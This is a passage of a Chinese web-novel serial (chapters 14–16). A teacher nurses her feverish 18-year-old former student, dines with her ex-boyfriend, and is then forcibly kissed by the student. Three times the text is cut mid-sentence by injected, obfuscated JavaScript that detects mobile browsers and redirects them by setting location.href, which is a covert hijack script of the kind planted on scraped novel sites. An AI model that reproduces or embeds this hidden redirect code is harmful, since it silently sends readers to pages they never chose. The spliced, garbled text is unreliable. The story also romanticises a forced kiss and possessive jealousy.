最后,编辑好了,复制下来,粘贴过去,拇指长久地悬在发送键上,在文娟开门回来的瞬间,寂静被打破,突如其来的声响吓得她身子轻微一抖,指尖落了下去。 蒋一茉:【纪复白,一切,就到此为止吧。不要再在我身上花心思,我明确告诉你我不会答应,也不会接受,我大你6岁,我们不可能。你为我做过的,我都铭记于心,往后你还可以把我当姐姐,或者普通朋友,好吗?我不擅长说狠话,更不擅长对你说狠话,所以言尽于此,希望你理解。】 以为消息发出去了,就轻松了,情况却完全相反。 蒋一茉心里像压着块石头,因为纪复白一直没有回复,这块石头也一直压着。 次日,蒋一茉依旧陪文娟在店里,她感冒已经好多了,偶尔才打个喷嚏。 今天还真来了一批货,她陪着文娟入库和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320804|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上货架,忙来忙去倒没什么时间去想纪复白那事。 一直忙到下午两点来钟,她拖着篮子正在整理货架,兜里手机震动,来电显示“小白”。 她没有第一时间接,有点犹豫,最后又想,在电话里聊聊也行,毕竟文字没有声音,也就不知道语气。 她按下接通键,纪复白只说了简短几个字:“来找我,耳机还你。” 嗓音听着有些沙哑沉闷,不似平常清朗,也像是感冒了一样。 蒋一茉把篮子先推回库房,跟文娟说要出去见个朋友,回来再把剩下的活儿干完,让文娟也休息会儿。 她走出店里时,和林副校长迎面碰上,彼此打个招呼,她回头又看一眼文娟,文娟还蹲在货架前整理价码。 她想想,赶在林副校长进店前,走到他面前道:“林校长,我妈今天挺忙的,您要什么,我帮您拿。” 林副校长绕过她,“我先随便看看。”径直走进去,到文娟身边,弯下腰跟她轻声细语讲话。 文娟站起来,跟他拉开距离,当普通客人客气寒暄。 蒋一茉看了看他俩,又跟文娟再打了声招呼,这才坐车去往纪复白家里。 纪复白来给她开的门,门后那张脸,一片苍白,又穿一身白色纯棉T恤样式家居服,整个人都能融进背景墙里了。 他那平日里就连看棵树也深情的眼眸此刻更加浓黑,透着无力和脆弱,眨眼时,微垂的乌黑长睫只轻轻颤动一下,没多大精神似的。 他看她一眼,只道:“进来。” 蒋一茉换了鞋进去,纪复白转身上楼,又道:“来我房间。” 她唇张了张,想说什么,男生步子大,没等说话,已经快走得看不见了,她心想算了,迈步跟上。 她进到纪复白卧室,依旧整洁干净,空气里淡淡怡人茉莉香。 对方从书桌上拿了那只耳机,递给她:“还你。” 她接过来,放进耳机仓里。 纪复白摘了眼镜扔在床头柜,继续躺回床上,哑着低沉的嗓子道:“走吧,把门关上,谢谢。” 他一幅蔫儿哒哒的样子,蒋一茉怎么可能放心走。 她来到床边,弯腰拍了拍他肩:“哪里不舒服吗?” 纪复白把脸埋在被子里,沉默。 蒋一茉扫见放在床头柜上的温度计,拿起来,定睛一看,吓一跳道:“你都烧到39度了?!” 她把他的脸硬掰出来,拨开头发,摸上额头,简直烫手。 纪复白看着她,说:“那是昨晚量的。” 蒋一茉更是一惊:“你都烧了快一天了?!” 纪复白平静道:“烧一天还是烧两天,有什么关系,不用管我,以前也没人管过我,我自己有经验,不管烧多久,多难受,到最后,都会好。” 蒋一茉:“……” 不等蒋一茉说什么,他又道:“你不是也这样觉得,所以才对我说那种话?你知道我会难受,也知道我最后会好,真好假好你也不在意,反正表面上看着好了就好,对吗?” 蒋一茉:“我……” 她不知道该说什么了,被他这一两句话讲得心里一团乱。 纪复白继续道:“你说你不擅长说狠话,可是明明字字句句都是狠话,你这个女人……” 蒋一茉看着他眼眶一点点变红,话没说完他就把头转向了另一边,脸又埋进被子里,不再看她。 14. 生理反应 她在他床边坐下,默了会儿,轻声安慰道:“别哭了。” 纪复白:“没哭!” 听起来有点恼羞成怒。 “真没哭?”蒋一茉笑道,“好吧,那我下楼去给你熬一锅辣牛肉粥,把你辣哭,说不定哭一场,烧也退了呢。” 过了几秒,她见纪复白把脸露出来,转过来看她,确实没有哭的痕迹,想是憋回去了。 他说:“你知道我怎么样会哭吗?” 蒋一茉摇头。 纪复白闭上眼,低沉懒音大言不惭道:“如果有人肯亲我一下,我会喜极而泣。” 他闭眼等亲亲,结果,碰上他嘴唇的,是枕边那个小兔子玩偶。 他睁眼,无奈地盯着蒋一茉。 蒋一茉晃晃手里玩偶,白身豆豆眼,身上一件粉色小毛衣,可爱极了,不过只有一只耳朵,长长地垂下来。 她笑道:“你这人设简直崩得太彻底了,床边居然还摆个小玩偶陪你睡觉。” 纪复白轻哼了声,“破除刻板印象,从我做起。” 蒋一茉又看一眼手里玩偶,多看两眼之后,竟感觉有点眼熟,嘀咕道:“怎么有点眼熟?” 或许在哪个商场里见过吧,她心想,毕竟这玩偶除了只有一只耳朵外,并不特殊,到处都是。 “为什么只有一只耳朵?”她问纪复白。 纪复白没回答,脸上还是几分无奈,伸手拿回来,放回枕边,还顺带理了理玩偶身上的小毛衣。 蒋一茉又站了站,说:“我去找点药来,你吃了会舒服一些,你家药放在哪里?” 纪复白陷在白色蓬松被窝里,碎发散乱在额前,遮住一点冷白眼皮,闭着眼睛,一副不想搭理人的冷漠劲儿:“没药,不管大病小病,拖着拖着自己就好,你不用管我,我也不要你管,你可以走了。” 蒋一茉一听就知道他还在生自己气,可是不吃药怎么行呢,从昨晚到现在一直烧着,就这样干等着退烧,等烧成个傻子就完蛋了。 她想了想,迈步先离开。 纪复白这时倏地从床上跳下来,拉住她,吼道:“你去哪儿?!我让你走你就走,这时候这么听我话?” 蒋一茉被他这突如其来的鬼动静吓一跳,心说这家伙不会已经烧傻了吧? “去给你买药。”她挣了挣手臂,皱眉道:“抓疼我了,纪复白!” 少年手上松开一点,却依旧拽着她,“真的只是买药?还会回来?” 蒋一茉无奈道:“当然回来,不然药买来给谁吃?” 纪复白微微抿起唇角,觉得自己有些反应过度,不太好意思。 猛地用了劲儿后,头更晕了,他松开手,回身扑倒在床上,闷声道:“去吧,快点回来。” 蒋一茉拉过被子给他盖好,看着他绒绒的后脑勺,忍不住揉了一把,这才离开。 门关上后,纪复白自己也抬手揉了揉后脑勺,回味着,无声扬唇笑。 蒋一茉在附近一家药店买了药,回来后把药放在床头柜。 纪复白看一眼,忍不住笑:“我昨天刚把他们店搬空一回,你今天怎么又扫荡一遍?” 蒋一茉垂着眼在袋子里翻找退烧药,她也不知道为什么,想着他这幅可怜巴巴的样子,一听那店员推荐,就各种药七七八八都买了回来。 “你家不是没药吗,正好囤一点。”她说。 翻出店员说效果很好的退烧药,她拆了一颗胶囊放在掌心,一手端水,坐到床边,“来,吃药。” 纪复白坐起来,低头,温热的唇触及软糯手心,舌尖似有若无地舔过,胶囊咬进嘴里,又用嘴去找杯沿,喝水。 蒋一茉握紧酥痒的手掌,身心都乱了套,僵着手臂喂他喝完水,搁下杯子道:“发烧烧的是脑子,你手也坏了?” 纪复白靠在床头,抬手抓了抓头发,勾唇冷笑:“我脑子没坏,手也没坏,坏的是你,蒋一茉。” 蒋一茉低下眼眸,几秒的沉吟后,她道:“别光顾着生气,认真想想我的话。” 纪复白“嗤”地一声笑,“在你知道我喜欢你之前,在你发这些话之前,我早就不知道认真想过多少个白天晚上。” 蒋一茉:“……你好好休息,我走了。” 蒋一茉起身,这次纪复白没有拦她,只是偏头看向一旁,下颌绷着,平直的唇紧抿,双手跟被子较着劲。 蒋一茉关门下楼,目光扫见餐厅,一桌饭菜,一点没动。 她走近一看,想那保姆应该不知道纪复白生病,按照往常习惯做的饭菜,色香味俱全,只不过病人吃的话,会稍微油腻一些,可能也是楼上那位病号一点没碰的原因。 她轻轻叹一口气,转身又上楼。 推开纪复白房间的门,她问:“你今天到现在都没吃饭?” 纪复白还是靠在床头的姿势,垂着长长黑睫,一脸落寞,听见她问,抬起头来,眼底波澜起伏,猛地掀开被子,大步过去,把人抱住。 他个子又高又大,扑过来时蒋一茉差点没站稳,她完全陷在他怀里,仿佛要被他揉进身体。 “对,我没吃饭,我想饿死算了,等我饿死,你就知道后悔了,会为我哭,为我掉眼泪。”纪复白在她耳畔咬牙道。 蒋一茉听笑了,“你这大块头想要饿死,是个大工程呢。” 纪复白:“……这不是重点。” 蒋一茉:“重点是,以后不要再说这种不吉利的话。” 纪复白:“那我说点吉利的,我想跟你白头偕老,哪怕你打算99岁才答应做我女朋友也没关系,我会拼了命活到100岁,总能如愿。” 蒋一茉沉默半晌,才道:“好听话不能当饭吃,你先躺着,我去给你做点吃的,你是不是嫌那一桌太油腻了,才一点没碰?” 纪复白说:“本来想叫阿姨重新做,又觉得麻烦,还是让人家早点下班陪孙子玩儿去吧。” 蒋一茉心里微动,轻轻摸了摸他背,“好了,快去躺着吧。” “你也不用做,我连保姆都不愿意麻烦,怎么舍得让你动手,我自己叫外卖,你歇着,看我吃,或者陪我再吃一点。”纪复白说。 他又把手机给蒋一茉,告诉她锁屏密码是1218,让蒋一茉帮忙订个外卖,他自己先去洗澡。 昨天半夜一会儿冷一会儿热,出一身汗,他感觉自己有点臭,怕被嫌弃。 蒋一茉倒没闻见什么臭汗味,靠近他的时候,觉得味道还蛮好闻,像在太阳底下晒过的被子,给人感觉很舒服。 纪复白进浴室前,又告诉蒋一茉付款密码是1218前面加52。 蒋一茉笑道:“这么放心我,不怕我把你钱都转走跑路?” 纪复白笑了笑说:“尽管转,这样我追你就更有理由,你拿了我钱肯定也不好意思再发什么到此为止的话,我光明正大缠你一辈子。” 蒋一茉说:“那这买卖不划算,算了算了。” 纪复白更加乐了,“这么嫌弃我是吧,等我出来再收拾你。” 纪复白进了浴室后,蒋一茉放下他手机,拿自己手机给他点了外卖。 等外卖的过程中,她在他房间里转悠两圈,发现以前摞在书桌上的那些教材和辅导书一本都不见了,收拾得非常干净,有种迫不及待再也别见的意思。 她觉得好笑,原来纪复白也不是天生爱学习嘛,也有这么可爱的一面。 那盆茉莉依然还在,被精心照料,肆意盛开着。 土还是湿的,看来今天还被浇过水。 纪复白发着烧还不忘给茉莉浇水呢? 不对,应该是保姆进来浇的水吧? 可是。 蒋一茉看着放在旁边的浇水壶,如果是保姆,应该会把水壶放回原位,不会随便搁在这儿。 这浇水壶更像是纪复白浇完水后撑不住,先随手放下,然后人回去床上躺着了。 蒋一茉抬手摸了摸茉莉花瓣,盯着看了好一会儿。 外卖是由小区物业人员送过来,送来时,纪复白也正好洗完澡下楼。 蒋一茉跟物业人员道着谢,把东西都接过来,纪复白走过来,一手按着毛巾擦头发:“外卖到了么?” 蒋一茉回头看他一眼,又转回来,跟门外说了声“再见”,迅速关上门。 蒋一茉:“穿衣服啊大哥!!!” 纪复白笑道:“又不是没穿裤子,我浑身发热,总要透口气,再说那人也是男的,有什么关系?” 蒋一茉眼前一片白晃晃又惹人遐想的弘二头肌、锁骨、胸肌、腹肌,再往下,绵薄布料下那一大坨是……她控制不住脸上发烫,偏对面少年人又高大,一身劲瘦薄肌随性懒散地戳在眼前,让人目光躲无可躲,恨不得把背后窗帘扯下来给他裹上。 怎么男的就能这么理所当然地打赤膊! 纪复白接过外卖袋子,放到餐桌上。 蒋一茉跟过去,帮着把外卖拿出来,一个个打开盖子都布置好。 纪复白看她两眼,走到身后,带着一身清爽的沐浴露香味,硬朗胸膛慢慢贴上她的背,又用一点力把人压牢在桌边,两手撑在餐桌上,手臂间夹着纤细腰身。 他低头,唇扫过她鬓边,盯着小蝴蝶耳钉,压低声音缓慢道:“刚刚洗澡的时候,我一直在想你。” 蒋一茉回头,看他一眼,因这点小动静,纪复白的唇恰巧碰到那耳钉,一点微凉,使他心酥,继续又道:“然后我就用手帮自己解决了,是不是很乖,没有麻烦你……” 因感冒而沙哑低沉的嗓音里,有藏不住的欲念,色气满满,欲言又止,故意招人往那处想。 蒋一茉一手肘顶在他胸口上,后者呛咳了半天,坐下后还讲不出话。 她又去倒了杯水,沉着脸放他面前:“喝!” 纪复白:“……” 纪复白喝了水,笑着看她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320805|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋一茉又把清淡的炒虾仁推到他面前:“吃!” 纪复白托腮笑道:“你现在是不是在想,这个废墟是真的废到底了。可是蒋一茉,我如果喜欢你却对你没生理反应,那才是真的废了,明白么?更何况……” 更何况他随时随地看见她都会□□,连他自己有时候也不能理解。 蒋一茉瞪他一眼:“你有你的,说出来干嘛?这种事有什么好说的?” 纪复白夹了一颗虾仁丢进嘴里:“跟别人自然没什么好说的,可你又不是别人。” 蒋一茉摇了摇头,送他两个字:“猥琐。” 纪复白乐出声来:“这个世界上,就你最爱骂我。” 蒋一茉戳了下他额头,“看你这反应,我还给你骂爽了是吧?” “爽!”纪复白道,“刚刚爽,现在也爽!” 蒋一茉仰天叹了口气,以前怎么会觉得他是个高冷又少言寡语的人呢,这分明是个不知脸皮为何物的下流鬼! 要不是顶着那张脸,早挨揍多少回了! 蒋一茉突然发现自己的双标,这要换个人,早就巴掌伺候了,怎么面对纪复白,她除了无奈就剩哭笑不得呢。 纪复白真该感谢自己那张伟大的脸,顶着那张脸就算杀人放火都能被原谅。 趁纪复白吃饭,蒋一茉上楼回他卧室找了件T恤下来,叫他快穿上,别显摆肌肉了。 又说谁没有似的,她卷起右边衣袖,攥拳抬起手臂,挤出肌肉给他看。 纪复白套上衣服,伸手捏了捏,笑说:“再给看看左手的?” “……左手没有。”蒋一茉放下衣袖。 纪复白问为什么不练左手。 蒋一茉哀怨道:“我是天天写板书被迫练出来的!” 她不知道这句话哪里好笑,纪复白笑了好久才开始正经吃饭。 蒋一茉就看着他笑,少年笑起来也十分好看,虽然坐在屋子里,却好像有温暖和煦的阳光照耀着他,那双眼睛微的一弯,就是开始勾引女生心动的信号。 等纪复白吃完饭,蒋一茉又摸了摸他额头,感觉比刚来那会儿要好一些,看来药起作用了。 摄入碳水后,没一会儿,纪复白撑不住困意,眼皮直打架,在客厅沙发上坐着玩手柄游戏,头一直往蒋一茉肩上倒。 最后他被蒋一茉拉着躺回卧室床上,在对方轻声细语的哄睡下,闭眼睡去,睡着前,还一个劲儿抓着蒋一茉的手,叫她别趁他睡着了偷偷离开。 蒋一茉模棱两可地答复着,只叫他快睡。 等纪复白睡着,蒋一茉关门下楼。 她的脚步轻而慢,踩下最后一级阶梯,回头又望了望楼上。 她到底在做什么呢。 她问自己,蒋一茉,你到底在做什么? 尽管这么想着,还是又通过外卖买了些菜,想给他熬一锅牛肉青菜粥再走。 喝点热腾腾的粥,应该比吃外卖舒服。 她知道晚上保姆还会回来做饭,却又想为他再做点什么,她总觉得他感冒发烧是被她传染的。 如果他昨晚没跑来给她送药,可能今天还生龙活虎地和朋友约出去玩呢。 纪复白把自己手机给她那会儿,弹出来的微信有群消息也有个人消息,都在问他有没有时间出去。 那些人里,有蒋一茉熟悉的,也有她不熟悉的人。 她看见他们几个课代表有一个群,群名叫:老师out! 她也发现,他唯一置顶是她,名字备注是:老婆小茉莉。 粥快熬好时,蒋一茉手机响了,一个陌生号码。 她一手接起来,一手拿勺慢慢搅着粥,“喂,您好。” 那头王衍之说:“小茉,你没存我号码吗?” “王衍之?”蒋一茉怔了怔,回答道:“啊……忘了。” 王衍之无奈地笑了笑,说:“你啊,真是让我哭笑不得,竟然连个电话都不存。” 蒋一茉问他什么事。 王衍之:“晚上一起吃个饭吧,我跟文阿姨已经报备过了。” 蒋一茉自然知道他这话什么意思,垂眸想了想。 一呢,她不想回去后,文娟一直念叨她。 二呢,也想和王衍之再好好谈谈,到底什么意思,家里人搞定了吗就想和她复合? 她答应下来,问他去哪儿吃,王衍之说了地点,是一家西餐厅。 她说现在在外面,要回去换身衣服。 王衍之说那6点左右去她家接她。 蒋一茉挂掉电话,身后一道压着火的冷嗓响起:“和他见面,还要特地回去换漂亮衣服,是吗?” 她回头,见纪复白两手插兜,靠着岛台,面上冷峻,黑眸使劲儿地盯着她。 蒋一茉莫名心虚,心里又暗骂自己心虚个什么劲儿:“你醒了?” 纪复白:“醒的不是时候,对吗?” 蒋一茉:“……” 15. 陪我 蒋一茉觉得没法聊了,也没什么可说的,她关上火道:“给你煮了牛肉青菜粥,晚上可以吃一点。” 纪复白:“我不爱吃牛肉和青菜。” 蒋一茉:“那就倒掉,不过我没时间替你倒了,等保姆来了,你叫她帮忙弄一下吧。” 蒋一茉洗了洗手,准备去拿包走人。 纪复白跨步挡在她面前,看了又看她,软了声音求:“别去,行吗,我想你留下来陪我。”又抓了她手摸自己额头,“我还在发烧,你怎么忍心丢下我一个人在这儿,蒋一茉?” 摸着还温热的额头,望着那紧蹙的眉心,蒋一茉略微心软,却又再一次在心里问自己:你在做什么,蒋一茉。 她抽出手,冷静道:“不要道德绑架,本来我也打算熬好粥就走,你自己按时吃饭吃药,你是18岁,不是8岁,我没有照顾你的义务。” 她绕开他,拿了包离开。 关门声在寂静别墅的挑高上空久久盘旋不散。 等到终于恢复往常沉寂后,一切都像是纪复白的一场幻想。 他竟拿不准蒋一茉是真的来过,还是他烧糊涂了在这儿自导自演。 他心痛得有些喘不上气,灶上那锅粥在提醒他,蒋一茉是真的来过,也是真的抛下他走了。 他端起珐琅砂锅,扔进旁边大水槽里,双手撑着水槽,怒火盎然的黑眸和余温下还在咕嘟咕嘟冒泡的牛肉粥持续较劲,互相添柴加火,连同周遭空气都在升温。 - 鬼天气太热,蒋一茉回到家,赶紧先打开空调。 跑去浴室冲了凉,吹干头发,化了妆,换上一条浅黄色的长裙。 镜子里的她焕然一新,纱裙仙气飘飘,五官小巧而精致,肌肤雪白又无暇,唇上一抹蜜桃粉,两颗黄色小花样式耳钉点缀耳畔。 一切都挺完美。 可她脸上始终提不起什么笑来。 在床边呆呆坐了半晌,王衍之的电话打来,她才回神,拿了包下楼。 吃饭的西餐店环境温馨雅致,深蓝色矮背沙发配胡桃木桌椅,店里四周多以浅淡鲜花和高挑绿植点缀。 蒋一茉跟着王衍之来到预定的卡座,座位上放着一束花,主花是粉色郁金香。 她看一眼王衍之,对方说:“嘱咐店家准备的,你现在应该还喜欢郁金香吧?” 蒋一茉没回应,把花放到里侧,坐下。 她从没喜欢过郁金香,何来“现在应该还喜欢”? 想想又觉得算了,没必要说出来令双方尴尬,毕竟在她之后,王衍之又交往过两个,谁知道这是哪一任的喜好,被他记岔了呢。 蒋一茉低头翻菜单,说:“这家店是别人推荐给你的?感觉不像是你会喜欢的风格。” 王衍之道:“和一个甲方吃饭,对方推荐的,说这里适合和女朋友来吃,我就想着得带你来一回。你应该喜欢这儿吧,安静,不张扬,不像有些西餐厅给人很有距离感。” 蒋一茉不语,继续翻菜单。 这时,有人进店,走过来和王衍之打招呼。 蒋一茉抬头,认出来是王衍之的一个女性朋友,也是他们当初大学广播站的,经常和王衍之一起主持校内节目,被人戏称一对金童玉女组合。 女生也认识蒋一茉,大学时,王衍之经常带蒋一茉和他们广播站的人一起吃饭。 女生对着蒋一茉微微点了下头,又看向王衍之,笑容意味深长道:“还以为你是匹好马呢,原来不是,这么多年白跟你认识了。” 王衍之无奈“啧”了声。 那女生更加开心,笑了两声,又附耳跟他说了两句什么,回到自己那桌去了。 等女生走了,王衍之道:“小茉,你应该还记得她吧?” 蒋一茉点点头。 王衍之有很多女性朋友,唯独这个女生,蒋一茉因为她和王衍之吵过架。 王衍之应该也没忘他们曾经因为他这个女性朋友吵架的事,于是说:“她刚跟我夸你来着,说你比以前上大学那会儿更漂亮了。” 蒋一茉浅浅笑了下,心里却无波澜。 点了菜,一边吃着,两人一边闲聊。 王衍之问蒋一茉,怎么几年都没再找过男朋友。 蒋一茉说:“我比不得你人缘好,人脉广,我除了学校就是家里,没有机会接触太多异性,相过几回亲,也都不合适。” 王衍之笑了笑说:“我还以为,是因为一直惦记着我呢。” 蒋一茉道:“说实话,你并没有好到能让我惦记三年的程度。” 王衍之点一点头,喝了口果汁:“有点扎心。” 蒋一茉看他一眼,说:“显然我在你心里也没到这个程度,所以你为什么不当匹好马,要跑回来吃回头草?” 王衍之闻言,看了眼远处的那女生,无奈笑道:“你别听她胡说,什么好马不好马,我是人,哪是什么马。我就是放不下你,我自己心里很清楚这件事,所以越想越后悔。” 蒋一茉道:“那你爸妈的意见呢?我记得当初他们对我很不满意吧,现在应该也不会有什么变化,毕竟我还是我,单亲还是单亲,家庭条件也还是老样子,不可能朝夕间变成某个富商的女儿。” 王衍之沉吟了一会儿,说:“这个你不用担心,我会去跟他们说,这一次,我会跟你站在一起。其实他们说得也没错,门不当户不对,是有风险,可是做什么没风险,我身边就算门当户对的夫妻后来离婚的也不少,我认真考虑后觉得,反而选择自己喜欢的人,风险会比较低。” 蒋一茉挖着甜品小口的吃,左手突然被王衍之握住,她下意识地抽了出来,顿了顿,说:“说话就好好说话。” 王衍之叹了口气,“我承认当初是我的错,行不行?我当时没替你说话,是因为我妈说的都是客观事实,如果她对你人身攻击,我肯定会帮你,可她都是摆事实讲道理,你让我当下怎么替你反驳?” 蒋一茉:“……” 王衍之:“不过经过这三年的沉淀,你可以放心信任我,不管她再挑剔你什么,我都会替你反驳回去。” 他又道:“小茉,再给我个机会吧,我们重新开始。” 蒋一茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320806|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默良久,摇了摇头,说:“都再好好想想吧,不瞒你说,我现在再谈恋爱都是奔着结婚去的,不想草率开始。” 王衍之点点头,也没再强求什么,“那我们保持联系,多沟通想法。” 饭后,王衍之开车把蒋一茉送到单元楼门口。 这个有些简陋,狭窄,也不算干净的楼洞口,以前有好几位相亲对象开车接送蒋一茉时也来过。 那些车的主人有些在车里打量,有些下车打量。 打量时,心里也同时在权衡着什么,有些皱皱眉,有些扁扁嘴。 有些把目光落到蒋一茉身上,问她在这儿住多久了,听说这片都是外地人来的,又问她户口是后来才迁来的吗,原来不是土生土长本地人啊吧啦吧啦。 蒋一茉便解释说,是,我们从四川过来的,我妈跟我爸离婚后,我正好考来这边上大学,我妈就跟我过来这边定下了。 但因为蒋一茉妈妈从去世的父母那边分到的钱不多,本市房价放眼全国也很难有别的城市能与之比肩,所以他们只买的起这套五环开外的二手房。 这里离市区太远,她经常五点就得起来去赶公交。 经常顺手抓到什么穿什么,赶到学校一身灰扑扑,因为来不及化妆,脸色也不好看。 所以她至今都很难理解,纪复白怎么会喜欢她。 更别提,有时候在办公室睡完午觉,脸上印着红印就去上课了,再配个小蜜蜂,样子滑稽得很。 算了,也许等纪复白看过更宽广的世界后,遇到更多优秀的女生后,他就会放下,淡忘。 再想起来这段时,当笑话讲给别人听,配合一声自嘲,也就这么过去了。 蒋一茉觉得自己有点完蛋。 这几天整日里面对纪复白那张脸,把她可接受的颜值下限拉高了,应该说拉得很高很高。 这使她今天再和王衍之见面,突然觉得王衍之没以前帅了,甚至普通。 纪复白这家伙真害人不浅,天天顶着那张帅气的脸庞在人眼前晃,她已经不知不觉被影响了。 她其实很想谈恋爱,想有人爱她,想夏天跟男朋友一起吃冰棍,冬天躲在男朋友大衣里一起看雪,想接吻,想拥抱…… 可这个对的人,也不知道什么时候才能出现。 她没有太高要求,不要比她小六岁就可以,也不要家里瞧不起她单亲没背景,只要是一个正常的,心地善良的,她喜欢的男生,就好。 难道要求很高吗?为什么就是遇不到呢? 蒋一茉帮王衍之看了下调头的前后位置,这才转身上楼。 在即将登上二楼的拐角处,她跺脚喊亮二楼的声控灯,灯下一个高大身影赫然显现,就坐在楼梯口,吓她一跳。 少年背光,看不清脸,一条腿曲着,手搭在膝盖,另一条长腿随意延伸,跨过好几级阶梯,漫不经心地踩着。 “纪复白?你怎么坐在这儿?”蒋一茉惊讶道。 “因为不想在下面看着你跟别的男人一起回来,所以选择坐在这里等你。” 纪复白轻声回话。 16. 初吻 “回去吧。” 蒋一茉说着,要从旁边上楼回家,经过时,手腕被忽然地抓住,握紧。 刚想脱口而出的话,因为看到对方被灯光照亮的眼睛,而讲不出口。 至于吗,这什么眼神? 好像她拿了把刀插他胸口了一样。 有这么难受吗?有这么受伤吗?有这么痛苦吗…… 她的手,被少年带着,轻轻放到了脸上。 楼道里闷热,他脸上有一层薄汗,她手掌紧贴那些细密的汗水,一下便心软了。 纪复白看着她,轻轻在掌心里蹭,用眼神祈求:摸摸我。 蒋一茉微曲手指,使手掌更加贴合少年流畅干净的下颌线。 “等了多久?”她轻声问。 纪复白:“……” 有时候,很多情绪,原本是可以被压抑的,偏偏说话的人不知道,她那一点点的关心,就能轻易将其引爆。 怀里郁金香花束被抢去,丢在阶梯上,蒋一茉由一股充满雄性荷尔蒙的蛮力带到角落,背撞上墙,面前高大的男生挡住了所有的光。 少年不管不顾低头强吻,一手撑墙,另一手揉着女人细软后腰往怀里用力按,她略有躲的意思,他便摁住后脑强迫她迎合自己,吻得更深,也咬得更重。 蒋一茉怎么敢问他等了多久? 就算只等了一秒,那一秒在他心里,也无比折磨和漫长。 一想到,她打扮这么漂亮在跟别的男人吃饭,在对别的男人笑,他就觉得这女人真够残忍。 她怎么可以,一点都不在乎他。 蒋一茉还没反应过来发生了什么,下意识揪住男生T恤,几秒后又往外推。 对方纹丝不动,她便不推了,反而轻轻地抚摸他的背脊,像在给暴躁小狗顺毛。 这招倒是管用,纪复白整个人一僵,停下动作,微微离开一点,睁眼望着女人发懵的眼睛。 她软糯的唇瓣微肿,而他终于尝到,她的口红是带点苦涩的甜味。 他们的胸膛都在剧烈地起伏着,他用拇指轻抚那被他咬破的红唇,眼睛在向她服软,语气却依旧醋意十足:“蒋一茉,我很生气,你哄哄我,说点好听的,说你再也不跟前男友出去吃饭,说你再也不跟任何除我以外的男人出去吃饭,我马上就好。” 蒋一茉扬手就要给他一巴掌,却停在最高位置,并没有落下,因为纪复白见她要打,主动把脸递了过来,她反倒下不去手。 见她舍不得,纪复白紧紧抱住了她。 “我爱你,蒋一茉。”他说。 蒋一茉闭了闭眼,叹着气道:“纪复白,今天我就当你发烧烧糊涂了,再有下次……” 纪复白:“我爱你,蒋一茉。” 蒋一茉:“……” 蒋一茉把人用力推开,不耐道:“赶紧回家去,记得按时吃饭,饭后吃药。” 她往走廊尽头自己家走。 “噢,对了,” 想到什么,又走回来,抬起食指在男生额头连戳四下,“别,再,抽,烟!” 烟味不浓,但对于蒋一茉来说,还是挺明显。 纪复白看着她,比刚才乖巧许多:“你不喜欢,我就不抽。” “没人喜欢闻二手烟,更没人喜欢跟抽过烟的嘴接吻,你的初吻,一点都不香!”蒋一茉说完,转身便走。 纪复白:“……” 纪复白心里暗骂一声,一头撞在墙上,有点难为情,他哪里设想过初吻会是这种情况。 蒋一茉走到家门口,低头找钥匙开门,又看一眼楼道口杵着的高挑身影。 “还不走?”她压低声音。 纪复白道:“等你进去,我再走。” 蒋一茉开门进去,背轻轻靠在门上,长长吐出一口气。 屋里留着一盏灯,文娟已经睡了。 她靠门滑坐到地上,好像被什么猛然击倒一样,有些腿软。 又把脸埋进手臂,选择闭眼先冷静一会儿。 纪复白下楼,把那捧郁金香花束还有烟盒打火机一起丢进了垃圾桶,不过花束进垃圾桶之前,还被他踩了几脚。 边踩,他边骂自己,怎么他就没想起来给蒋一茉送花,他这个蠢货。 这天晚上,纪复白在床上辗转反侧搜索一晚上“接吻技巧”、“谈恋爱小技巧”、“怎么追女神”以及顺便搜了一下“第一次做.爱要注意什么……” 睡前,蒋一茉习惯性点进朋友圈,又刷出纪复白的最新动态,仅她可见。 一张照片,白纸黑字,旁边依旧斜放着她送他的钢笔。 【蒋一茉,“我爱你”这句话,如果要讲无数遍你才会信,那我就用一辈子给你讲无数遍。——纪复白】 蒋一茉看了很久很久,之后,想评论说:“骚年,能芣鼡莪鎹哋鋼毣冩適些矫凊娪淥了么,沵哪啪仩洺著里擿莏①些迡?” 但是想想,又删掉,没有发送。 这次,就不打击他了。 她把照片保存下来,手机塞进枕头下。 唇瓣还有几分麻麻的。 纪复白不太会亲嘴,气势是十足霸道,动作却笨拙,吮住后,只是反复咬来咬去,加上是强吻,更加毫无章法,跟啃苹果似的。 这一夜,蒋一茉翻来覆去,没有睡着。 一辈子,很长的,纪复白。 - 纪复白盯着手机看了一晚上教学视频,还偶尔评论区提问: “请问第几秒伸舌头效果更好?” “请问第几秒开始转头合适?” “女生真的更喜欢被强吻吗?万一被打怎么办,生我气怎么办,再也不理我怎么办。” 